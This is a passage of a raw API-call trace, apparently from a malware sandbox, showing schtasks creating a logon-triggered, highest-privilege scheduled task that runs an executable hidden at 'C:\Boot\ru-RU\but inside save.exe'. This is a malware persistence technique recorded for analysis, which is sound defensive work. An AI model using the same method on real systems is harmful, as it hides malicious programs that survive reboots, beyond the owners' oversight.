6 [0132.083] GetProcessHeap () returned 0x3d0000 [0132.083] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0xc, Size=0xe) returned 0x3ed5c0 [0132.083] GetThreadLocale () returned 0x409 [0132.083] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="MINUTE", cchCount2=-1) returned 3 [0132.083] GetProcessHeap () returned 0x3d0000 [0132.083] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0xc, Size=0x20) returned 0x3ecc90 [0132.083] _memicmp (_Buf1=0x3eba90, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.083] LoadStringW (in: hInstance=0x0, uID=0x1af, lpBuffer=0x3ed280, cchBufferMax=256 | out: lpBuffer="HOURLY") returned 0x6 [0132.083] lstrlenW (lpString="HOURLY") returned 6 [0132.083] GetProcessHeap () returned 0x3d0000 [0132.083] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0xc, Size=0xe) returned 0x3ed5e0 [0132.083] GetThreadLocale () returned 0x409 [0132.083] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="HOURLY", cchCount2=-1) returned 3 [0132.083] GetProcessHeap () returned 0x3d0000 [0132.083] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0xc, Size=0x20) returned 0x3ecc60 [0132.083] _memicmp (_Buf1=0x3eba90, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.084] LoadStringW (in: hInstance=0x0, uID=0x1b0, lpBuffer=0x3ed280, cchBufferMax=256 | out: lpBuffer="DAILY") returned 0x5 [0132.084] lstrlenW (lpString="DAILY") returned 5 [0132.084] GetProcessHeap () returned 0x3d0000 [0132.084] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0xc, Size=0xc) returned 0x3ed600 [0132.084] GetThreadLocale () returned 0x409 [0132.084] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="DAILY", cchCount2=-1) returned 3 [0132.084] GetProcessHeap () returned 0x3d0000 [0132.084] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0xc, Size=0x20) returned 0x3ecc30 [0132.084] _memicmp (_Buf1=0x3eba90, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.084] LoadStringW (in: hInstance=0x0, uID=0x1b1, lpBuffer=0x3ed280, cchBufferMax=256 | out: lpBuffer="WEEKLY") returned 0x6 [0132.084] lstrlenW (lpString="WEEKLY") returned 6 [0132.084] GetProcessHeap () returned 0x3d0000 [0132.084] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0xc, Size=0xe) returned 0x3ed620 [0132.084] GetThreadLocale () returned 0x409 [0132.084] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="WEEKLY", cchCount2=-1) returned 1 [0132.084] GetProcessHeap () returned 0x3d0000 [0132.084] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0xc, Size=0x20) returned 0x3ecc00 [0132.084] _memicmp (_Buf1=0x3eba90, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.084] LoadStringW (in: hInstance=0x0, uID=0x1b2, lpBuffer=0x3ed280, cchBufferMax=256 | out: lpBuffer="MONTHLY") returned 0x7 [0132.084] lstrlenW (lpString="MONTHLY") returned 7 [0132.084] GetProcessHeap () returned 0x3d0000 [0132.084] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0xc, Size=0x10) returned 0x3ed640 [0132.084] GetThreadLocale () returned 0x409 [0132.084] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="MONTHLY", cchCount2=-1) returned 3 [0132.084] _memicmp (_Buf1=0x3eba90, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.084] LoadStringW (in: hInstance=0x0, uID=0x1b3, lpBuffer=0x3ed280, cchBufferMax=256 | out: lpBuffer="ONCE") returned 0x4 [0132.084] lstrlenW (lpString="ONCE") returned 4 [0132.084] GetProcessHeap () returned 0x3d0000 [0132.085] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0xc, Size=0xa) returned 0x3ed660 [0132.085] GetThreadLocale () returned 0x409 [0132.085] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="ONCE", cchCount2=-1) returned 3 [0132.085] _memicmp (_Buf1=0x3eba90, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.085] LoadStringW (in: hInstance=0x0, uID=0x1b4, lpBuffer=0x3ed280, cchBufferMax=256 | out: lpBuffer="ONSTART") returned 0x7 [0132.085] lstrlenW (lpString="ONSTART") returned 7 [0132.085] GetThreadLocale () returned 0x409 [0132.085] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="ONSTART", cchCount2=-1) returned 1 [0132.085] _memicmp (_Buf1=0x3eba90, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.085] LoadStringW (in: hInstance=0x0, uID=0x1b5, lpBuffer=0x3ed280, cchBufferMax=256 | out: lpBuffer="ONLOGON") returned 0x7 [0132.085] lstrlenW (lpString="ONLOGON") returned 7 [0132.085] GetThreadLocale () returned 0x409 [0132.085] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="ONLOGON", cchCount2=-1) returned 2 [0132.085] SetLastError (dwErrCode=0x0) [0132.085] GetProcessHeap () returned 0x3d0000 [0132.085] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0xc, Size=0x1fc) returned 0x3ec250 [0132.085] _memicmp (_Buf1=0x3eba90, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.085] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x3ed280, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0132.085] lstrlenW (lpString="First") returned 5 [0132.085] _memicmp (_Buf1=0x3eba90, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.085] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x3ed280, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0132.085] lstrlenW (lpString="Second") returned 6 [0132.085] _memicmp (_Buf1=0x3eba90, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.086] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x3ed280, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0132.086] lstrlenW (lpString="Third") returned 5 [0132.086] _memicmp (_Buf1=0x3eba90, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.086] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x3ed280, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0132.086] lstrlenW (lpString="Fourth") returned 6 [0132.086] _memicmp (_Buf1=0x3eba90, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.086] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x3ed280, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0132.086] lstrlenW (lpString="Last") returned 4 [0132.086] _memicmp (_Buf1=0x3eba90, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.086] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x3ed280, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0132.086] lstrlenW (lpString="First") returned 5 [0132.086] _memicmp (_Buf1=0x3eba90, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.086] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x3ed280, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0132.086] lstrlenW (lpString="Second") returned 6 [0132.086] _memicmp (_Buf1=0x3eba90, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.086] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x3ed280, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0132.086] lstrlenW (lpString="Third") returned 5 [0132.086] GetProcessHeap () returned 0x3d0000 [0132.086] GetProcessHeap () returned 0x3d0000 [0132.086] HeapValidate (hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3ed660) returned 1 [0132.086] GetProcessHeap () returned 0x3d0000 [0132.086] RtlSizeHeap (HeapHandle=0x3d0000, Flags=0x0, MemoryPointer=0x3ed660) returned 0xa [0132.086] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3ed660 | out: hHeap=0x3d0000) returned 1 [0132.086] GetProcessHeap () returned 0x3d0000 [0132.086] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0xc, Size=0xc) returned 0x3ed660 [0132.086] _memicmp (_Buf1=0x3eba90, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.087] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x3ed280, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0132.087] lstrlenW (lpString="Fourth") returned 6 [0132.087] _memicmp (_Buf1=0x3eba90, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.087] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x3ed280, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0132.087] lstrlenW (lpString="Last") returned 4 [0132.087] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0x27c5a0, cchData=128 | out: lpLCData="0") returned 2 [0132.087] _memicmp (_Buf1=0x3eba90, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.087] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x3ed280, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0132.087] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0132.087] GetProcessHeap () returned 0x3d0000 [0132.087] GetProcessHeap () returned 0x3d0000 [0132.087] HeapValidate (hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3ed580) returned 1 [0132.087] GetProcessHeap () returned 0x3d0000 [0132.087] RtlSizeHeap (HeapHandle=0x3d0000, Flags=0x0, MemoryPointer=0x3ed580) returned 0x10 [0132.087] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3ed580 | out: hHeap=0x3d0000) returned 1 [0132.087] GetProcessHeap () returned 0x3d0000 [0132.087] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0xc, Size=0x16) returned 0x3ed580 [0132.087] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0x27c5c0, cchData=128 | out: lpLCData="0") returned 2 [0132.087] _memicmp (_Buf1=0x3eba90, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.087] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x3ed280, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0132.087] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0132.087] GetProcessHeap () returned 0x3d0000 [0132.087] GetProcessHeap () returned 0x3d0000 [0132.088] HeapValidate (hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3ed5a0) returned 1 [0132.088] GetProcessHeap () returned 0x3d0000 [0132.088] RtlSizeHeap (HeapHandle=0x3d0000, Flags=0x0, MemoryPointer=0x3ed5a0) returned 0x10 [0132.088] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3ed5a0 | out: hHeap=0x3d0000) returned 1 [0132.088] GetProcessHeap () returned 0x3d0000 [0132.088] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0xc, Size=0x16) returned 0x3ed5a0 [0132.088] GetLocalTime (in: lpSystemTime=0x27c7f0 | out: lpSystemTime=0x27c7f0*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x6, wDay=0x6, wHour=0x2, wMinute=0x12, wSecond=0x37, wMilliseconds=0x3dd)) [0132.088] GetLocalTime (in: lpSystemTime=0x27d0a8 | out: lpSystemTime=0x27d0a8*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x6, wDay=0x6, wHour=0x2, wMinute=0x12, wSecond=0x37, wMilliseconds=0x3dd)) [0132.088] lstrlenW (lpString="") returned 0 [0132.088] lstrlenW (lpString="") returned 0 [0132.088] lstrlenW (lpString="") returned 0 [0132.088] lstrlenW (lpString="") returned 0 [0132.088] lstrlenW (lpString="") returned 0 [0132.088] lstrlenW (lpString="") returned 0 [0132.088] lstrlenW (lpString="") returned 0 [0132.088] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0132.126] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x1, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0 [0132.243] CoCreateInstance (in: rclsid=0xff121ae0*(Data1=0xf87369f, Data2=0xa4e5, Data3=0x4cfc, Data4=([0]=0xbd, [1]=0x3e, [2]=0x73, [3]=0xe6, [4]=0x15, [5]=0x45, [6]=0x72, [7]=0xdd)), pUnkOuter=0x0, dwClsContext=0x17, riid=0xff121ad0*(Data1=0x2faba4c7, Data2=0x4da9, Data3=0x4013, Data4=([0]=0x96, [1]=0x97, [2]=0x20, [3]=0xcc, [4]=0x3f, [5]=0xd4, [6]=0xf, [7]=0x85)), ppv=0x27ce70 | out: ppv=0x27ce70*=0x167a50) returned 0x0 [0132.251] TaskScheduler:ITaskService:Connect (This=0x167a50, serverName=0x27cf50*(varType=0x8, wReserved1=0x27, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), user=0x27cf10*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x32524553524150), domain=0x27cf30*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0x27cef0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xc0, varVal2=0x100000001)) returned 0x0 [0132.259] TaskScheduler:IUnknown:AddRef (This=0x167a50) returned 0x2 [0132.259] TaskScheduler:ITaskService:GetFolder (in: This=0x167a50, Path=0x0, ppFolder=0x27d008 | out: ppFolder=0x27d008*=0x167c40) returned 0x0 [0132.264] TaskScheduler:ITaskService:NewTask (in: This=0x167a50, flags=0x0, ppDefinition=0x27d000 | out: ppDefinition=0x27d000*=0x167c90) returned 0x0 [0132.264] ITaskDefinition:get_Actions (in: This=0x167c90, ppActions=0x27cf80 | out: ppActions=0x27cf80*=0x167d50) returned 0x0 [0132.270] IActionCollection:Create (in: This=0x167d50, Type=0, ppAction=0x27cfa0 | out: ppAction=0x27cfa0*=0x1660c0) returned 0x0 [0132.270] lstrlenW (lpString="'C:\\Boot\\ru-RU\\but inside save.exe'") returned 35 [0132.270] lstrlenW (lpString="'C:\\Boot\\ru-RU\\but inside save.exe'") returned 35 [0132.270] lstrlenW (lpString=" ") returned 1 [0132.271] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0132.271] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0132.271] StrChrW (lpStart=" ", wMatch=0x43) returned 0x0 [0132.271] StrChrW (lpStart=" ", wMatch=0x3a) returned 0x0 [0132.271] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0132.271] StrChrW (lpStart=" ", wMatch=0x42) returned 0x0 [0132.271] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0132.271] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0132.271] StrChrW (lpStart=" ", wMatch=0x74) returned 0x0 [0132.271] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0132.271] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0132.271] StrChrW (lpStart=" ", wMatch=0x75) returned 0x0 [0132.271] StrChrW (lpStart=" ", wMatch=0x2d) returned 0x0 [0132.271] StrChrW (lpStart=" ", wMatch=0x52) returned 0x0 [0132.271] StrChrW (lpStart=" ", wMatch=0x55) returned 0x0 [0132.271] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0132.271] StrChrW (lpStart=" ", wMatch=0x62) returned 0x0 [0132.271] StrChrW (lpStart=" ", wMatch=0x75) returned 0x0 [0132.271] StrChrW (lpStart=" ", wMatch=0x74) returned 0x0 [0132.271] StrChrW (lpStart=" ", wMatch=0x20) returned=" " [0132.271] StrChrW (lpStart=" ", wMatch=0x69) returned 0x0 [0132.271] StrChrW (lpStart=" ", wMatch=0x6e) returned 0x0 [0132.271] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0132.271] StrChrW (lpStart=" ", wMatch=0x69) returned 0x0 [0132.271] StrChrW (lpStart=" ", wMatch=0x64) returned 0x0 [0132.271] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0132.271] StrChrW (lpStart=" ", wMatch=0x20) returned=" " [0132.271] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0132.272] StrChrW (lpStart=" ", wMatch=0x61) returned 0x0 [0132.272] StrChrW (lpStart=" ", wMatch=0x76) returned 0x0 [0132.272] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0132.272] StrChrW (lpStart=" ", wMatch=0x2e) returned 0x0 [0132.272] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0132.272] StrChrW (lpStart=" ", wMatch=0x78) returned 0x0 [0132.272] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0132.272] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0132.272] IUnknown:Release (This=0x1660c0) returned 0x1 [0132.272] IUnknown:Release (This=0x167d50) returned 0x1 [0132.272] ITaskDefinition:get_Triggers (in: This=0x167c90, ppTriggers=0x27cb00 | out: ppTriggers=0x27cb00*=0x167e90) returned 0x0 [0132.272] ITriggerCollection:Create (in: This=0x167e90, Type=9, ppTrigger=0x27caf8 | out: ppTrigger=0x27caf8*=0x166130) returned 0x0 [0132.272] IUnknown:QueryInterface (in: This=0x166130, riid=0xff121c48*(Data1=0x72dade38, Data2=0xfae4, Data3=0x4b3e, Data4=([0]=0xba, [1]=0xf4, [2]=0x5d, [3]=0x0, [4]=0x9a, [5]=0xf0, [6]=0x2b, [7]=0x1c)), ppvObject=0x27caf0 | out: ppvObject=0x27caf0*=0x166130) returned 0x0 [0132.272] IUnknown:Release (This=0x166130) returned 0x2 [0132.272] _vsnwprintf (in: _Buffer=0x27ca40, _BufferCount=0x1f, _Format="%04u-%02u-%02dT%02u:%02u:00", _ArgList=0x27ca18 | out: _Buffer="2022-08-06T02:18:00") returned 19 [0132.273] ITrigger:put_StartBoundary (This=0x166130, StartBoundary="2022-08-06T02:18:00") returned 0x0 [0132.273] lstrlenW (lpString="") returned 0 [0132.273] lstrlenW (lpString="") returned 0 [0132.273] lstrlenW (lpString="") returned 0 [0132.273] lstrlenW (lpString="") returned 0 [0132.273] IUnknown:Release (This=0x166130) returned 0x1 [0132.273] IUnknown:Release (This=0x167e90) returned 0x1 [0132.273] ITaskDefinition:get_Settings (in: This=0x167c90, ppSettings=0x27cfa0 | out: ppSettings=0x27cfa0*=0x167f00) returned 0x0 [0132.273] lstrlenW (lpString="") returned 0 [0132.273] IUnknown:Release (This=0x167f00) returned 0x1 [0132.273] GetLocalTime (in: lpSystemTime=0x27ce58 | out: lpSystemTime=0x27ce58*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x6, wDay=0x6, wHour=0x2, wMinute=0x12, wSecond=0x38, wMilliseconds=0xb0)) [0132.273] LoadLibraryExA (lpLibFileName="ADVAPI32.dll", hFile=0x0, dwFlags=0x0) returned 0x7fefe7b0000 [0132.273] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="GetUserNameW") returned 0x7fefe7c1fd0 [0132.274] GetUserNameW (in: lpBuffer=0x27ce80, pcbBuffer=0x27ce68 | out: lpBuffer="kEecfMwgj", pcbBuffer=0x27ce68) returned 1 [0132.274] ITaskDefinition:get_RegistrationInfo (in: This=0x167c90, ppRegistrationInfo=0x27ce50 | out: ppRegistrationInfo=0x27ce50*=0x167dd0) returned 0x0 [0132.274] IRegistrationInfo:put_Author (This=0x167dd0, Author="") returned 0x0 [0132.274] _vsnwprintf (in: _Buffer=0x27ce80, _BufferCount=0x7f, _Format="%d-%02d-%02dT%02d:%02d:%02d", _ArgList=0x27ce18 | out: _Buffer="2022-08-06T02:18:56") returned 19 [0132.274] IRegistrationInfo:put_Date (This=0x167dd0, Date="") returned 0x0 [0132.274] IUnknown:Release (This=0x167dd0) returned 0x1 [0132.274] malloc (_Size=0x18) returned 0x165ae0 [0132.275] free (_Block=0x165ae0) [0132.275] lstrlenW (lpString="") returned 0 [0132.275] ITaskDefinition:get_Principal (in: This=0x167c90, ppPrincipal=0x27d070 | out: ppPrincipal=0x27d070*=0x166010) returned 0x0 [0132.275] IPrincipal:put_RunLevel (This=0x166010, RunLevel=1) returned 0x0 [0132.275] IUnknown:Release (This=0x166010) returned 0x1 [0132.275] malloc (_Size=0x18) returned 0x165ae0 [0132.275] ITaskFolder:RegisterTaskDefinition (in: This=0x167c40, Path="but inside save", pDefinition=0x167c90, flags=6, UserId=0x27d0f0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0x27d130*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x27f000, varVal2=0xfe), LogonType=3, sddl=0x27d110*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), ppTask=0x27d010 | out: ppTask=0x27d010*=0x1663b0) returned 0x0 [0132.560] free (_Block=0x165ae0) [0132.560] _memicmp (_Buf1=0x3eba90, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.560] LoadStringW (in: hInstance=0x0, uID=0x12e, lpBuffer=0x3ed280, cchBufferMax=256 | out: lpBuffer="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 0x40 [0132.560] lstrlenW (lpString="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 64 [0132.561] GetProcessHeap () returned 0x3d0000 [0132.561] GetProcessHeap () returned 0x3d0000 [0132.561] HeapValidate (hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3ed5c0) returned 1 [0132.561] GetProcessHeap () returned 0x3d0000 [0132.561] RtlSizeHeap (HeapHandle=0x3d0000, Flags=0x0, MemoryPointer=0x3ed5c0) returned 0xe [0132.561] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3ed5c0 | out: hHeap=0x3d0000) returned 1 [0132.561] GetProcessHeap () returned 0x3d0000 [0132.561] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0xc, Size=0x82) returned 0x4099e0 [0132.561] _vsnwprintf (in: _Buffer=0x27d750, _BufferCount=0x1fb, _Format="SUCCESS: The scheduled task \"%s\" has successfully been created.\n", _ArgList=0x27cfb8 | out: _Buffer="SUCCESS: The scheduled task \"but inside save\" has successfully been created.\n") returned 77 [0132.561] _fileno (_File=0x7fefed02ab0) returned -2 [0132.561] _errno () returned 0x164bb0 [0132.561] _get_osfhandle (_FileHandle=-2) returned 0xffffffffffffffff [0132.561] SetLastError (dwErrCode=0x6) [0132.561] lstrlenW (lpString="SUCCESS: The scheduled task \"but inside save\" has successfully been created.\n") returned 77 [0132.561] GetConsoleOutputCP () returned 0x0 [0132.562] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"but inside save\" has successfully been created.\n", cchWideChar=77, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 77 [0132.562] GetConsoleOutputCP () returned 0x0 [0132.562] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"but inside save\" has successfully been created.\n", cchWideChar=77, lpMultiByteStr=0xff161880, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SUCCESS: The scheduled task \"but inside save\" has successfully been created.\n", lpUsedDefaultChar=0x0) returned 77 [0132.562] fprintf (in: _File=0x7fefed02ab0, _Format="%s" | out: _File=0x7fefed02ab0) returned 77 [0132.562] fflush (in: _File=0x7fefed02ab0 | out: _File=0x7fefed02ab0) returned -1 [0132.562] IUnknown:Release (This=0x1663b0) returned 0x0 [0132.562] TaskScheduler:IUnknown:Release (This=0x167c90) returned 0x0 [0132.562] TaskScheduler:IUnknown:Release (This=0x167c40) returned 0x0 [0132.562] TaskScheduler:IUnknown:Release (This=0x167a50) returned 0x1 [0132.562] lstrlenW (lpString="") returned 0 [0132.562] GetProcessHeap () returned 0x3d0000 [0132.562] GetProcessHeap () returned 0x3d0000 [0132.562] HeapValidate (hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3ec250) returned 1 [0132.562] GetProcessHeap () returned 0x3d0000 [0132.562] RtlSizeHeap (HeapHandle=0x3d0000, Flags=0x0, MemoryPointer=0x3ec250) returned 0x1fc [0132.563] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3ec250 | out: hHeap=0x3d0000) returned 1 [0132.563] GetProcessHeap () returned 0x3d0000 [0132.563] GetProcessHeap () returned 0x3d0000 [0132.563] HeapValidate (hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3ed4c0) returned 1 [0132.563] GetProcessHeap () returned 0x3d0000 [0132.563] RtlSizeHeap (HeapHandle=0x3d0000, Flags=0x0, MemoryPointer=0x3ed4c0) returned 0x16 [0132.563] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3ed4c0 | out: hHeap=0x3d0000) returned 1 [0132.563] GetProcessHeap () returned 0x3d0000 [0132.563] GetProcessHeap () returned 0x3d0000 [0132.563] HeapValidate (hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3ed540) returned 1 [0132.563] GetProcessHeap () returned 0x3d0000 [0132.563] RtlSizeHeap (HeapHandle=0x3d0000, Flags=0x0, MemoryPointer=0x3ed540) returned 0x18 [0132.563] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3ed540 | out: hHeap=0x3d0000) returned 1 [0132.563] GetProcessHeap () returned 0x3d0000 [0132.563] GetProcessHeap () returned 0x3d0000 [0132.563] HeapValidate (hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3ecd80) returned 1 [0132.563] GetProcessHeap () returned 0x3d0000 [0132.563] RtlSizeHeap (HeapHandle=0x3d0000, Flags=0x0, MemoryPointer=0x3ecd80) returned 0x20 [0132.563] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3ecd80 | out: hHeap=0x3d0000) returned 1 [0132.563] GetProcessHeap () returned 0x3d0000 [0132.563] GetProcessHeap () returned 0x3d0000 [0132.563] HeapValidate (hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3ebff0) returned 1 [0132.563] GetProcessHeap () returned 0x3d0000 [0132.563] RtlSizeHeap (HeapHandle=0x3d0000, Flags=0x0, MemoryPointer=0x3ebff0) returned 0xa0 [0132.564] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3ebff0 | out: hHeap=0x3d0000) returned 1 [0132.564] GetProcessHeap () returned 0x3d0000 [0132.564] GetProcessHeap () returned 0x3d0000 [0132.564] HeapValidate (hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3eba70) returned 1 [0132.564] GetProcessHeap () returned 0x3d0000 [0132.564] RtlSizeHeap (HeapHandle=0x3d0000, Flags=0x0, MemoryPointer=0x3eba70) returned 0x18 [0132.564] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3eba70 | out: hHeap=0x3d0000) returned 1 [0132.564] GetProcessHeap () returned 0x3d0000 [0132.564] GetProcessHeap () returned 0x3d0000 [0132.564] HeapValidate (hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3ecb10) returned 1 [0132.564] GetProcessHeap () returned 0x3d0000 [0132.564] RtlSizeHeap (HeapHandle=0x3d0000, Flags=0x0, MemoryPointer=0x3ecb10) returned 0x20 [0132.565] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3ecb10 | out: hHeap=0x3d0000) returned 1 [0132.565] GetProcessHeap () returned 0x3d0000 [0132.565] GetProcessHeap () returned 0x3d0000 [0132.565] HeapValidate (hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3e9310) returned 1 [0132.565] GetProcessHeap () returned 0x3d0000 [0132.565] RtlSizeHeap (HeapHandle=0x3d0000, Flags=0x0, MemoryPointer=0x3e9310) returned 0x48 [0132.565] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3e9310 | out: hHeap=0x3d0000) returned 1 [0132.565] GetProcessHeap () returned 0x3d0000 [0132.565] GetProcessHeap () returned 0x3d0000 [0132.565] HeapValidate (hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3ed560) returned 1 [0132.565] GetProcessHeap () returned 0x3d0000 [0132.565] RtlSizeHeap (HeapHandle=0x3d0000, Flags=0x0, MemoryPointer=0x3ed560) returned 0x18 [0132.565] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3ed560 | out: hHeap=0x3d0000) returned 1 [0132.565] GetProcessHeap () returned 0x3d0000 [0132.565] GetProcessHeap () returned 0x3d0000 [0132.565] HeapValidate (hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3ecae0) returned 1 [0132.565] GetProcessHeap () returned 0x3d0000 [0132.565] RtlSizeHeap (HeapHandle=0x3d0000, 